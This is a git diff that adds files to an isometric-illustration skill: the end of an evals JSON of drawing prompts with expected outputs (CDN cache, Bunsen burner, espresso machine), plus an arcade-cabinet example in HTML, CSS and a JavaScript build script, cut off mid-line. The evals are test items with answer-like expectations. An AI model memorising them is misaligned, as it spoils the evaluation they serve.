readout, painter's order correct, motion/interaction. Lines, hoses or cables that represent connections run along the structure in lanes and land on real ports, never through another part or across the subject's face; where two cross on screen the nearer is drawn on top. If the figure has tubes or round parts, their shapes are recorded with kit/audit.mjs and the preview's build reports zero audit problems. Curved parts show no tone staircase and no texture stops abruptly. 4x close-ups of the junctions were taken and read.", + "files": [] + }, + { + "id": 3, + "prompt": "make an isometric svg explaining how a CDN edge cache works (cache hit vs miss, TTL of 60s) for our landing page. dark, premium, lots of small detail. just give me the svg file, and a png preview if you can", + "expected_output": "A standalone dark SVG file (styles embedded) of a crafted isometric object explaining a CDN edge cache (hit vs miss, TTL 60 s), rich in small parts, monochrome with one accent, no floating labels. No line passes through a part, every crossing is in depth order, curved surfaces are smooth-shaded without a staircase, and every texture (vents, ticks, bolt circles) ends on an edge or fades. A PNG preview plus 4x close-ups were made and looked at.", + "files": [] + }, + { + "id": 4, + "prompt": "For a chemistry explainer, make an interactive isometric figure of a Bunsen burner on a lab bench, showing how opening the air collar turns the lazy yellow flame into a roaring blue cone. I want the flame to look real, so use a WebGL shader for it, but keep the crafted line-drawing look for the burner itself. One HTML file I can open, dark theme.", + "expected_output": "A single standalone dark HTML page built with the kit. The burner is SVG with many small parts made with kit/lathe.mjs: a weighted base, a barrel, a rotating air collar with real air holes, a jet and a ribbed gas inlet with a hose from kit/tube.mjs, on a bench plate, with an optional tripod and gauze. Every curved profile (base dome, barrel flare, inlet) is smooth-shaded with no tone staircase, from smooth knots or an analytic profile with smooth.slope; the inlet ribs and any bolt circle fade toward the limb (ribsOf/dotsOf with fade) instead of stopping. The hose leaves the inlet along its axis, lies on the bench without passing through the base, tripod or bench, and is gapped under any clamp or band; all shapes are recorded with kit/audit.mjs and `node build.mjs --audit` ends `audit passed`, zero on every failing line. The flame is a WebGL shader on glLayer (glScript inlined), in a canvas between a back SVG (bench, base, everything the flame covers) and a front SVG (whatever passes in front of it, such as the near tripod leg or gauze). The canvas has pointer-events none and blends with screen and premultiplied output. The flame lives in world space: it is ray-marched along towardViewer() around the barrel axis, sized in world units, and its base registers with the barrel rim from the same numbers as the SVG. Its colour and shape follow the air-to-gas ratio from a small model continuously (a luminous yellow sooty flame turning into a blue inner cone and pale outer mantle) through eased envelopes, with no instant colour switch. Lighting and turning off are attack-and-decay envelopes built on the kit's burst and settle (inlined by glScript, not redeclared), with constant geometry passed through glLayer's fixed uniforms. No term is cut at a bound or at the canvas edge, and the output is tonemapped and dithered. The device ratio is capped at 1.5, the shader renders only while lit and onscreen, reduced motion shows one still flame, and the SVG reads without WebGL. The live readout (collar opening, air/gas ratio, flame temperature) comes from the model, with pointer and keyboard control and an idle tour. The figure was checked with drive.mjs contact sheets slowed with [\"slow\", 0.05] across lighting, a full collar sweep and turning off, plus 2x and 4x crops at the barrel rim and 4x close-ups of the hose, inlet and collar in both themes, a --no-webgl run showing the SVG burner alone, and a --reduced run.", + "files": [] + }, + { + "id": 5, + "prompt": "For an article on how espresso machines work, make an interactive isometric figure of a heat-exchanger espresso machine with the side panel off: boiler, heat-exchanger tube, group head, pump, steam wand, pressure gauge and all the pipework between them. Show water flowing through when you pull a shot. Lots of fine detail, it should hold up when people zoom in. Standalone HTML, light theme.", + "expected_output": "A single standalone light HTML page built with the kit: a real espresso machine with its side panel off, its boiler, group head, gauge and fittings turned with kit/lathe.mjs and its pipework from kit/tube.mjs, with a live readout from a small model (boiler pressure, brew temperature, flow) and a calm pull-a-shot interaction. Every pipe is routed from real ports along the structure (leaving each port on its normal, running parallel to the boiler or round it at a fixed radius, crossing other lines only on straights and well apart in depth), never across the front of the boiler or group; it ends on a flange, union nut or fitting on a real port, never in the air. Nothing is sunk into anything: flanges sit flush or on saddle pads on the curved boiler, branches leave from ball tees, valves sit on straight runs, and every collar, clamp, band or valve gaps the pipe it wraps. Every item records its shape in A.recorder, A.settle sets the painter's keys, and `node build.mjs --audit` ends `audit passed`, zero on every failing line, with no interlock hidden by a key bias. The boiler, group head dome and gauge are smooth-shaded with no tone staircase or scalloped bands (analytic profiles with smooth.slope or bandsOf for the boiler), seams sit under the outline, and every bolt circle, rib row or rule line ends on a real edge or fades out (dotsOf/ribsOf with fade, fadeLineSvg). Pipe stripes run onto their end caps with no hairline at chunk joints. The response shows that 4x close-ups of every junction (each tee, flange, union, valve, clamp and crossing) and every curved body were taken in both themes and read, and that the water-flow motion has no pop.", + "files": [] + } + ] +} diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/arcade-cabinet-light.html b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/arcade-cabinet-light.html new file mode 100644 index 00000000..c137c651 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/arcade-cabinet-light.html @@ -0,0 +1,2818 @@ +<!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Arcade cabinet
    004127
    The picture: drawn in the plane of the CRT behind the tilted glassCoin path: slot, mech, switch wire, meter, cash boxHarness from the joystick, buttons and coin switch to the board's edge connectorAn upright cabinet in the style of 1981, 178 cm tall, with the left side panel off. Drop a quarter (24.26 mm) in the left slot: the mech checks it and lets it fall 27 cm past the coin-switch wire into the open cash box. The switch pulses the meter and the board's coin line, and on this machine it also latches the power relay, so the first coin wakes the cabinet: the marquee strikes, the CRT's heater warms for about two seconds, the board runs its RAM and ROM self-test and the attract mode starts. The monitor lies on its side for a vertical game, 224 × 288 pixels on a 15.734 kHz raster, so its scan lines run up and down the glass and it collapses to a vertical line when switched off. Move the stick to see the actuator close a microswitch under the panel.
    \ No newline at end of file diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/arcade-cabinet.css b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/arcade-cabinet.css new file mode 100644 index 00000000..19a6f6c1 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/arcade-cabinet.css @@ -0,0 +1,44 @@ +.ac-stage{touch-action:pan-y} +.ac-stage:focus{outline:none} +.ac-stage:focus-visible{outline:1px solid var(--anatomy-muted);outline-offset:6px} +.ac-sr{position:absolute;width:1px;height:1px;overflow:hidden;clip-path:inset(50%);white-space:nowrap} +[data-part="tray"],.it[data-name^="door"]{cursor:pointer} + +.ac-slot{fill:var(--anatomy-shade-0);stroke:var(--anatomy-lo);stroke-width:.5px;vector-effect:non-scaling-stroke} + +.ac-glass{fill:var(--anatomy-shade-0);transition:fill .6s var(--anatomy-ease)} +.ac-glass[data-on]{fill:var(--anatomy-lit-shade)} +.ac-bezel{fill:var(--anatomy-shade-1);fill-rule:evenodd} +.ac-glare{fill:var(--anatomy-lit);opacity:.045;pointer-events:none} +.ac-px{fill:var(--anatomy-lit)} +.ac-dim{opacity:.35} +.ac-scan{fill:none;stroke:var(--anatomy-paper);stroke-width:.14;opacity:.55} +.ac-dot{fill:var(--anatomy-lit)} + +.ac-lamp[data-on]>.iso-solid>.iso-top,.ac-lamp[data-blink]>.iso-solid>.iso-top{fill:var(--anatomy-lit-top)} +.ac-lamp[data-on]>.iso-solid>.iso-shade,.ac-lamp[data-blink]>.iso-solid>.iso-shade{fill:var(--anatomy-lit-shade)} +.ac-lamp[data-on]>.iso-solid>.iso-edge,.ac-lamp[data-blink]>.iso-solid>.iso-edge{stroke:var(--anatomy-lit)} +[data-button="p1"].ac-lamp[data-on]:not([data-blink])>.iso-solid>.iso-top,[data-button="p2"].ac-lamp[data-on]>.iso-solid>.iso-top{fill:var(--anatomy-top)} +[data-button="p1"].ac-lamp[data-on]:not([data-blink])>.iso-solid>.iso-shade,[data-button="p2"].ac-lamp[data-on]>.iso-solid>.iso-shade{fill:var(--anatomy-shade-2)} +[data-button="p1"].ac-lamp[data-on]:not([data-blink])>.iso-solid>.iso-edge,[data-button="p2"].ac-lamp[data-on]>.iso-solid>.iso-edge{stroke:var(--anatomy-hi)} +.ac-led circle{opacity:.18;transition:opacity .3s var(--anatomy-ease)} +.ac-led[data-on] circle{opacity:1;fill:var(--anatomy-lit)} +[data-button][data-down]>.iso-solid>.iso-edge{stroke:var(--anatomy-lit)} + +.it[data-name="marquee.tube"][data-on]>.iso-solid>.iso-top,.it[data-name="marquee.tube"][data-on]>.iso-solid>.iso-shade{fill:var(--anatomy-lit-top);stroke:var(--anatomy-lit-top)} +.it[data-name="marquee.tube"][data-on]>.iso-solid>.iso-edge{stroke:var(--anatomy-lit)} +.it[data-name="marquee.plexi"][data-on]>.iso-solid>.iso-shade,.it[data-name="marquee.plexi"][data-on]>.iso-solid>.iso-top{fill:var(--anatomy-lit-shade)} + +.it[data-hot] .tb-body,.it[data-hot] .tb-shine,.it[data-hot] .tb-shade{fill:var(--anatomy-lit)} +.it[data-hot] .iso-edge{stroke:var(--anatomy-lit)} + +.ac-window{fill:var(--anatomy-shade-0);stroke:var(--anatomy-lo);stroke-width:.4px;vector-effect:non-scaling-stroke} +.ac-digits{fill:var(--anatomy-hi);font-family:var(--anatomy-mono)} + +.ac-fan-hole{fill:var(--anatomy-shade-0)} +.ac-blade{fill:var(--anatomy-shade-2);stroke:var(--anatomy-lo);stroke-width:.4px;vector-effect:non-scaling-stroke} +.ac-fan-hub{fill:var(--anatomy-top);stroke:var(--anatomy-mid);stroke-width:.5px;vector-effect:non-scaling-stroke} +.ac-guard{fill:none;stroke:var(--anatomy-mid);stroke-width:.5px;vector-effect:non-scaling-stroke} +.ac-marquee-art{fill:var(--anatomy-shade-3);transition:fill .2s var(--anatomy-ease)} +.ac-marquee[data-on] .ac-marquee-art{fill:var(--anatomy-lit)} +.ac-marquee-frame{fill:none;stroke:var(--anatomy-lo);stroke-width:.5px;vector-effect:non-scaling-stroke} diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/arcade-cabinet.html b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/arcade-cabinet.html new file mode 100644 index 00000000..6c6c3216 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/arcade-cabinet.html @@ -0,0 +1,2818 @@ +Arcade cabinet
    004127
    The picture: drawn in the plane of the CRT behind the tilted glassCoin path: slot, mech, switch wire, meter, cash boxHarness from the joystick, buttons and coin switch to the board's edge connectorAn upright cabinet in the style of 1981, 178 cm tall, with the left side panel off. Drop a quarter (24.26 mm) in the left slot: the mech checks it and lets it fall 27 cm past the coin-switch wire into the open cash box. The switch pulses the meter and the board's coin line, and on this machine it also latches the power relay, so the first coin wakes the cabinet: the marquee strikes, the CRT's heater warms for about two seconds, the board runs its RAM and ROM self-test and the attract mode starts. The monitor lies on its side for a vertical game, 224 × 288 pixels on a 15.734 kHz raster, so its scan lines run up and down the glass and it collapses to a vertical line when switched off. Move the stick to see the actuator close a microswitch under the panel.
    \ No newline at end of file diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/build.mjs b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/build.mjs new file mode 100644 index 00000000..9361a0eb --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/examples/arcade-cabinet/build.mjs @@ -0,0 +1,714 @@ +import { readFileSync, writeFileSync } from "node:fs"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import * as k from "../../kit/iso-kit.mjs"; +import * as G from "../../kit/lathe.mjs"; +import { tubePieces, tubeSvg } from "../../kit/tube.mjs"; +import * as A from "../../kit/audit.mjs"; +import { kitScript } from "../../scripts/inline-kit.mjs"; +import { makeParts } from "./parts.mjs"; +import { SCREEN } from "./screen.mjs"; + +const HERE = dirname(fileURLToPath(import.meta.url)); +const THEME = process.argv.includes("--light") ? "light" : "dark"; + +const W = 600; +const H = 760; +const AZIMUTH = 146; +const ELEVATION = 24; + +const PLATE = { x: -98, y: -18, w: 184, d: 236, r: 10 }; +const PLATE_H = 10; +const FOOT_H = 5; +const XI = 60; +const XW = 64; +const TOPZ = 358; + +const P = k.fitProjection( + [...k.boxCorners(PLATE, -PLATE_H - FOOT_H, 0), [-XW, 0, TOPZ], [XW, 0, TOPZ], [XW, 126, TOPZ], [-XW, 126, TOPZ], [-XW, 178, 184], [XW, 178, 184]], + W, + H, + { pad: 30, azimuth: AZIMUTH, elevation: ELEVATION }, +); +const V = G.viewOf(P); +const KS = G.scaleOf(P); +const at = (p) => k.iso(p, P); +const S = (paths, style) => k.solidSvg(paths, style); +const Ln = (d, style) => k.lineSvg(d, style); +const Dots = (points, style) => k.dotsSvg(points, style); +const Faded = (list, style) => k.fadedSvg(list, style); +const path3 = (points, closed = false) => k.pathOf(points.map(at), closed); +const f2 = (v) => Math.round(v * 100) / 100; + +const R = A.recorder(P); +const record = R.solid; +function put(name, ref, svg, shapes = [], { bias = 0, ...rest } = {}) { + return R.put({ name, at: ref, bias, svg, shapes, piece: "cab", ...rest }); +} + +const signed = (poly) => poly.reduce((a, [x, y], i) => { + const [x2, y2] = poly[(i + 1) % poly.length]; + return a + x * y2 - x2 * y; +}, 0); +const screenOriented = (pts) => (signed(pts) < 0 ? [...pts].reverse() : pts); +function runsOf(flags, want) { + const count = flags.length; + const runs = []; + const start = flags.findIndex((flag, index) => flag !== flags[(index + count - 1) % count]); + if (start < 0) return flags[0] === want ? [Array.from({ length: count + 1 }, (_, index) => index % count)] : []; + let run = null; + for (let step = 0; step < count; step++) { + const index = (start + step) % count; + if (flags[index] === want) { + if (!run) run = [index]; + run.push((index + 1) % count); + } else if (run) { + runs.push(run); + run = null; + } + } + if (run) runs.push(run); + return runs; +} + +function prismPaths(F, poly, s0, s1) { + const ring = signed(poly) > 0 ? poly : [...poly].reverse(); + const n = ring.length; + const W3 = (s, [x, y]) => [F.o[0] + F.a[0] * s + F.u[0] * x + F.v[0] * y, F.o[1] + F.a[1] * s + F.u[1] * x + F.v[1] * y, F.o[2] + F.a[2] * s + F.u[2] * x + F.v[2] * y]; + const capNear = G.dot3(F.a, V) > 0; + const [nearS, farS] = capNear ? [s1, s0] : [s0, s1]; + const near = ring.map((p) => at(W3(nearS, p))); + const far = ring.map((p) => at(W3(farS, p))); + const normals = ring.map(([x0, y0], i) => { + const [x1, y1] = ring[(i + 1) % n]; + return G.unit3(G.add3(G.mul3(F.u, y1 - y0), G.mul3(F.v, -(x1 - x0)))); + }); + const facing = normals.map((m) => G.dot3(m, V) > 1e-9); + const outline = []; + const crease = []; + for (const run of runsOf(facing, false)) outline.push(k.pathOf(run.map((i) => near[i]))); + for (const run of runsOf(facing, true)) { + crease.push(k.pathOf(run.map((i) => near[i]))); + outline.push(k.pathOf(run.map((i) => far[i]))); + } + for (let i = 0; i < n; i++) if (facing[(i + n - 1) % n] !== facing[i]) outline.push(k.pathOf([near[i], far[i]])); + const parts = [k.pathOf(screenOriented(near), true), k.pathOf(screenOriented(far), true)]; + const buckets = [[], [], [], [], []]; + for (let i = 0; i < n; i++) { + if (!facing[i]) continue; + const quad = screenOriented([near[i], near[(i + 1) % n], far[(i + 1) % n], far[i]]); + parts.push(k.pathOf(quad, true)); + buckets[G.toneOf(normals[i], P)].push(k.pathOf(quad, true)); + } + const capTone = G.toneOf(capNear ? F.a : G.mul3(F.a, -1), P); + buckets[capTone].push(k.pathOf(screenOriented(near), true)); + return { fill: parts.join(""), outline: outline.join(""), crease: crease.join(""), top: buckets[4].join(""), shades: buckets.slice(0, 4).map((b) => b.join("")) }; +} + +const XF = G.frameOf([0, 0, 0], [1, 0, 0], [0, 1, 0], [0, 0, 1]); +function board(name, poly, x0, x1, style = {}, { extra = "", inner = "", bias = 0, holes = [], ref } = {}) { + const shape = record(A.prism(XF, poly, x0, x1, { name })); + const cy = poly.reduce((a, p) => a + p[0], 0) / poly.length; + const cz = poly.reduce((a, p) => a + p[1], 0) / poly.length; + const dots = holes.length ? Dots(holes.map(([y, z]) => at([x0, y, z])), { size: 0.5, tone: "lo" }) : ""; + put(name, ref ?? [(x0 + x1) / 2, cy, cz], S(prismPaths(XF, poly, x0, x1), { tone: "mid", ...style, inner }) + dots + extra, [shape], { bias }); + return shape; +} +function prism(name, F, poly, s0, s1, style = {}, { extra = "", inner = "", bias = 0, ref } = {}) { + const shape = record(A.prism(F, poly, s0, s1, { name })); + const cx = poly.reduce((a, p) => a + p[0], 0) / poly.length; + const cy = poly.reduce((a, p) => a + p[1], 0) / poly.length; + const centre = G.add3(G.add3(G.add3(F.o, G.mul3(F.a, (s0 + s1) / 2)), G.mul3(F.u, cx)), G.mul3(F.v, cy)); + put(name, ref ?? centre, S(prismPaths(F, poly, s0, s1), { tone: "mid", ...style, inner }) + extra, [shape], { bias }); + return shape; +} +const rect = (u0, u1, v0, v1) => [[u0, v0], [u1, v0], [u1, v1], [u0, v1]]; +function box(name, [x0, y0, z0], [x1, y1, z1], style = {}, { r = 0.4, steps = 2, bevel = 0, extra = "", inner = "", bias = 0 } = {}) { + const plan = { x: x0, y: y0, w: x1 - x0, d: y1 - y0, r }; + const shape = record(A.slab(plan, z0, z1 - z0, { name }, steps)); + put(name, [(x0 + x1) / 2, (y0 + y1) / 2, (z0 + z1) / 2], S(k.slabOf(plan, z0, z1 - z0, P, steps, bevel), { tone: "mid", ...style, inner }) + extra, [shape], { bias }); + return shape; +} +function turned(name, F, profile, style = {}, { extra = "", inner = "", bias = 0, smooth, steps, rims, bevel = 0, owner } = {}) { + const opts = { bevel, ...(smooth !== undefined ? { smooth } : {}), ...(steps ? { steps } : {}), ...(rims ? { rims } : {}) }; + const paths = G.solidOf(profile, F, P, opts); + const mid = (profile[0][0] + profile[profile.length - 1][0]) / 2; + const shape = record(A.solid(F, profile, { name, owner, radius: smooth && smooth.radius ? smooth.radius : null })); + put(name, G.add3(F.o, G.mul3(F.a, mid)), S(paths, { tone: "mid", ...style, inner }) + extra, [shape], { bias }); + return shape; +} +function disc(name, F, s0, s1, r, style = {}, options = {}) { + if (options.owner === undefined && name.startsWith("crt.")) options = { ...options, owner: "crt" }; + return turned(name, F, [[s0, r], [s1, r]], style, options); +} +function ball(name, c, r, style = {}, { bias = 0, extra = "" } = {}) { + const shape = record(A.ball(c, r, { name })); + put(name, c, S(G.sphereOf(c, r, P, { steps: 32 }), { tone: "mid", ...style }) + extra, [shape], { bias }); + return shape; +} +function planeMatrix(o, ex, ey) { + const p0 = at(o); + const px = at(G.add3(o, ex)); + const py = at(G.add3(o, ey)); + const v = (x) => x.toFixed(4); + return `matrix(${v(px[0] - p0[0])} ${v(px[1] - p0[1])} ${v(py[0] - p0[0])} ${v(py[1] - p0[1])} ${p0[0].toFixed(2)} ${p0[1].toFixed(2)})`; +} + +const CABLES = []; +function cable(name, points, r = 0.5, { tone = "mid", bend = 3, ends = [true, true], shells = [false, false], rings, maxLength = 16, bias = 0.05, limp = true, touch, bundle } = {}) { + const route = G.fillet(points, Math.max(bend, r * 2.6), 10, { P, tube: r }); + const total = G.pathLength(route); + const SHELL = Math.max(1.6, r * 2.4); + const gaps = [...(shells[0] ? [[0, SHELL]] : []), ...(shells[1] ? [[total - SHELL, total]] : [])]; + R.route(name, route, r, { gaps, limp, touch, bundle, rims: shells.map((on) => (on ? r * 1.9 : r)), piece: "cab" }); + CABLES.push(name); + tubePieces(route, r, P, { maxLength, spacing: Math.max(0.6, Math.min(1.6, r)), gaps, ...(rings ? { rings } : {}) }).forEach((piece, index) => + put(`${name}:${index}`, piece.mid, tubeSvg(piece, { tone }), [A.tube(piece.points, piece.radii)], { bias, route: name, chunk: index, attrs: ` data-route="${name}" data-chunk="${index}"` }), + ); + [0, 1].forEach((index) => { + const end = index ? route[route.length - 1] : route[0]; + if (shells[index]) { + const tangent = G.tangentAlong(route, index ? total : 0); + const F = G.frameAlong(end, tangent); + const [s0, s1] = index ? [-SHELL, 0] : [0, SHELL]; + const shape = record(A.disc(F, s0, s1, r * 1.9, { name: `${name}.shell${index}`, owner: name })); + put(`${name}.shell${index}`, G.add3(end, G.mul3(tangent, (s0 + s1) / 2)), S(G.disc(s0, s1, r * 1.9, F, P, { steps: 20, bevel: 0.2 }), { tone: "mid" }), [shape], { bias: bias + 0.1 }); + } else if (ends[index]) { + put(`${name}.end${index}`, end, Dots([at(end)], { size: Math.max(0.5, r * KS * 0.9), tone: "hi" }), [A.ball(end, Math.max(0.5, r * KS * 0.9) / KS, { name: `${name}.end${index}`, owner: name })], { bias: bias + 0.15 }); + } + }); + return route; +} + +const back = []; +back.push(``); +const byDepth = (points) => [...points].sort((a, b) => k.depthOf([a[0], a[1], 0], P) - k.depthOf([b[0], b[1], 0], P)); +for (const [x, y] of byDepth(k.corners(PLATE, 22))) { + back.push(S(k.cylinder(x, y, 7, -PLATE_H - FOOT_H, 1.6, P, 28), { tone: "lo" })); + back.push(S(k.cylinder(x, y, 5.4, -PLATE_H - FOOT_H + 1.6, FOOT_H - 1.6, P, 28), { tone: "mid" })); +} +back.push(S(k.slabOf(PLATE, -PLATE_H, PLATE_H, P, 8, 1.6), { tone: "mid", inner: Ln(k.sideSeam(PLATE, -4, P, 8), { tone: "faint" }) })); +back.push(Ln(k.planOutline(k.insetPlan(PLATE, 5), 0, P), { tone: "lo" })); +const plateScrews = k.corners(PLATE, 10); +back.push(Ln(plateScrews.map(([x, y]) => k.ring(x, y, 2.2, 0, P, 16)).join(""), { tone: "lo" })); +back.push(Dots(plateScrews.map(([x, y]) => at([x, y, 0])), { size: 0.5 })); +record(A.slab(PLATE, -PLATE_H, PLATE_H, { name: "stand.plate", ground: true }, 8)); +const STRIP = { x: PLATE.x + 14, y: PLATE.y + PLATE.d - 13, w: PLATE.w - 28, d: 6, r: 1 }; +back.push(S(k.slabOf(STRIP, 0, 0.6, P, 3), { tone: "lo", crease: "none" })); +const ticks = k.topTicks(STRIP.x + 4, STRIP.x + STRIP.w - 4, 4, 5, STRIP.y, 0.6, [1.8, 3.4], P); +back.push(Ln(ticks.minor, { tone: "lo" }), Ln(ticks.major, { tone: "mid" })); +const LABEL = { x: 48, y: PLATE.y + PLATE.d - 34, w: 30, d: 13, r: 1.2 }; +back.push(S(k.slabOf(LABEL, 0, 0.8, P, 3), { tone: "lo", crease: "none" })); +back.push(Ln(k.planOutline(k.insetPlan(LABEL, 1.4), 0.8, P, 3), { tone: "faint" })); +back.push(Ln([20, 14, 17].map((w, i) => k.lineOnTop([LABEL.x + 4, LABEL.y + 3.4 + i * 3], [LABEL.x + 4 + w, LABEL.y + 3.4 + i * 3], 0.8, P)).join(""), { tone: "lo", free: true })); +back.push(Dots([at([LABEL.x + LABEL.w - 2.6, LABEL.y + 2.4, 0.8]), at([LABEL.x + LABEL.w - 2.6, LABEL.y + LABEL.d - 2.4, 0.8])], { size: 0.45 })); + +const TRAY = { x: -74, y: 188 }; +const STACK = 7; +back.push(``); +const COIN_STEP = 0.42; +const stackTop = (n) => 1.6 + n * COIN_STEP; + +const BEZEL_T = [110, 306]; +const BEZEL_B = [136, 195]; +const WALL = [[0, 4], [156, 4], [156, 168], [178, 170], [178, 184], BEZEL_B, BEZEL_T, [126, 314], [126, 358], [0, 358]]; +const bd = G.unit3([0, BEZEL_B[0] - BEZEL_T[0], BEZEL_B[1] - BEZEL_T[1]]); +const NB = [0, -bd[2], bd[1]]; +const C3 = [0, (BEZEL_T[0] + BEZEL_B[0]) / 2, (BEZEL_T[1] + BEZEL_B[1]) / 2]; +const CPD = G.unit3([0, 178 - 136, 184 - 195]); +const CPN = [0, -CPD[2], CPD[1]]; +const cpTop = (y) => 195 + ((y - 136) * (184 - 195)) / (178 - 136); + +for (const [x, y] of byDepth([[-54, 12], [54, 12], [-54, 144], [54, 144]])) { + const F = G.frameOf([x, y, 0], [0, 0, 1], [1, 0, 0], [0, 1, 0]); + const shapes = [record(A.disc(F, 0, 1.2, 3.4, { name: `leveler.pad` })), record(A.disc(F, 1.2, 2.4, 2.4, { name: `leveler.nut` })), record(A.disc(F, 2.4, 4, 1, { name: `leveler.stem` }))]; + put(`leveler`, [x, y, 2], S(G.disc(0, 1.2, 3.4, F, P, { steps: 32 }), { tone: "lo" }) + S(G.disc(1.2, 2.4, 2.4, F, P, { steps: 6 }), { tone: "mid" }) + S(G.disc(2.4, 4, 1, F, P, { steps: 16 }), { tone: "mid" }), shapes); +} + +const wallPaths = prismPaths(XF, WALL, XI, XW); +const ringW = signed(WALL) > 0 ? WALL : [...WALL].reverse(); +const tFacing = ringW.map(([y0, z0], i) => { + const [y1, z1] = ringW[(i + 1) % ringW.length]; + return G.dot3(G.unit3([0, z1 - z0, -(y1 - y0)]), V) > 1e-9; +}); +const bead = runsOf(tFacing, true).map((run) => path3(run.map((i) => [62, ...ringW[i]]))).join(""); +{ + const shape = record(A.prism(XF, WALL, XI, XW, { name: "wall" })); + put("wall", [XW, 80, 180], S(wallPaths, { tone: "mid", inner: Ln(bead, { tone: "lo" }) }), [shape], { bias: -400 }); +} +box("cleat.floor", [56, 8, 8], [60, 148, 12], { tone: "lo" }); +box("cleat.back", [56, 4, 12], [60, 8, 350], { tone: "lo" }); +box("cleat.top", [56, 8, 350], [60, 122, 354], { tone: "lo" }); +box("cleat.front", [56, 148, 12], [60, 152, 164], { tone: "lo" }); + +board("floor", [[4, 4], [152, 4], [152, 8], [4, 8]], -XI, XI, { tone: "lo" }, { holes: [[24, 6], [130, 6]] }); +board("back", [[0, 4], [4, 4], [4, 354], [0, 354]], -XI, XI, {}, { holes: [[2, 40], [2, 180], [2, 320]], bias: -300 }); +board("top", [[0, 354], [126, 354], [126, 358], [0, 358]], -XI, XI, {}, { + holes: [[30, 356], [100, 356]], + extra: Ln(Array.from({ length: 9 }, (_, i) => k.planOutline({ x: -36 + i * 8, y: 14, w: 3, d: 30, r: 1.5 }, 358, P, 3)).join(""), { tone: "faint" }), +}); +board("front", [[152, 4], [156, 4], [156, 168], [152, 168]], -XI, XI, {}, { holes: [[154, 20], [154, 150]] }); +box("kick", [-XI, 156, 6], [XI, 156.8, 24], { tone: "lo" }, { r: 0.3, extra: Dots([-54, -18, 18, 54].flatMap((x) => [at([x, 156.8, 9]), at([x, 156.8, 21])]), { size: 0.45, tone: "hi" }) }); +board("marquee.shelf", [[98, 318], [126, 318], [126, 322], [98, 322]], -XI, XI, { tone: "lo" }); +const SPK = [[110, 306], [126, 314], [124.2, 317.6], [108.2, 309.6]]; +board("speaker.board", SPK, -XI, XI); +board("cp.top", [[136, 195], [178, 184], [177.24, 181.1], [135.24, 192.1]], -XI, XI, { tone: "mid" }, { holes: [[157, 188]] }); +board("cp.front", [[174, 170], [178, 170], [178, 180.89], [174, 181.94]], -XI, XI); +board("cp.bottom", [[152, 168], [174, 170], [174, 174], [152, 172]], -XI, XI, { tone: "lo" }); +{ + const m = planeMatrix([0, 125.02, 338], [1, 0, 0], [0, 0, -1]); + const sc = 1.7; + const w = (7 * 8 - 3) * sc; + const art = ``; + board("marquee.plexi", [[123, 322], [125, 322], [125, 354], [123, 354]], -XI, XI, { tone: "faint" }, { extra: art }); +} +const TUBE_F = G.frameOf([-46, 110, 338], [1, 0, 0], [0, 1, 0], [0, 0, 1]); +turned("marquee.tube", TUBE_F, [[0, 3.6], [92, 3.6]], { tone: "hi" }, { inner: Ln(G.arcOf(TUBE_F, 4, 3.6, P) + G.arcOf(TUBE_F, 88, 3.6, P), { tone: "faint" }), extra: "" }); +box("marquee.socket", [-51, 106, 333], [-46, 114, 342], { tone: "mid" }); +box("marquee.socket", [46, 106, 333], [51, 114, 342], { tone: "mid" }); +box("marquee.bracket", [-51, 106, 342], [-49, 114, 354], { tone: "lo" }); +box("marquee.bracket", [49, 106, 342], [51, 114, 354], { tone: "lo" }); +box("marquee.ballast", [8, 99, 322], [40, 105, 327], { tone: "mid" }, { inner: Ln(k.sideSeam({ x: 8, y: 99, w: 32, d: 6, r: 0.4 }, 324.5, P, 2), { tone: "faint" }), extra: Dots([at([10, 105, 327]), at([38, 105, 327])], { size: 0.45 }) }); +turned("marquee.starter", G.frameOf([44, 103, 322], [0, 0, 1], [1, 0, 0], [0, 1, 0]), [[0, 1.8], [5, 1.8], [5.6, 1.3, 1], [6, 0.6, 1]], { tone: "mid" }); + +const SPK_N = G.unit3([0, -8, 16]); +const SPK_C = [22, 115, 313.0]; +const SPK_F = G.frameAlong(SPK_C, SPK_N); +turned("speaker.basket", SPK_F, [[0, 5.6], [0.8, 5.6], [0.8, 4.8], [2.4, 2.8, 1], [2.8, 2.4]], { tone: "mid" }); +disc("speaker.magnet", SPK_F, 2.8, 3.8, 2.6, { tone: "lo" }); + +const MON_A = G.mul3(NB, -1); +const CF = G.add3(C3, G.mul3(NB, -5)); +const MON = G.frameOf(CF, MON_A, [1, 0, 0], bd); +const BEZEL_OPEN = { u: 29.5, w: 37.5, r: 4 }; +const monPoint = (u, w, s) => G.add3(G.add3(G.add3(CF, G.mul3([1, 0, 0], u)), G.mul3(bd, w)), G.mul3(MON_A, s)); +const funnel = (s) => 3 + 31 * Math.pow(Math.max(0, (64 - s) / 55), 1.4); +const funnelSlope = (s) => (-31 * 1.4 * Math.pow(Math.max(1e-6, (64 - s) / 55), 0.4)) / 55; +prism("crt.face", MON, rect(-34, 34, -42, 42).map((p) => p), 0, 3, { tone: "hi" }); +const BAND = [[-35, -43], [35, -43], [35, 43], [-35, 43]]; +prism("crt.band", MON, BAND, 3, 9, { tone: "mid" }, { inner: "" }); +for (const [su, sv] of [[-1, -1], [1, -1], [-1, 1], [1, 1]]) { + const ear = [[su * 35, sv * 37], [su * 41, sv * 37], [su * 41, sv * 43], [su * 35, sv * 43]]; + prism("crt.ear", MON, ear, 5, 6, { tone: "mid" }, { extra: Dots([at(monPoint(su * 38.6, sv * 40, 5))], { size: 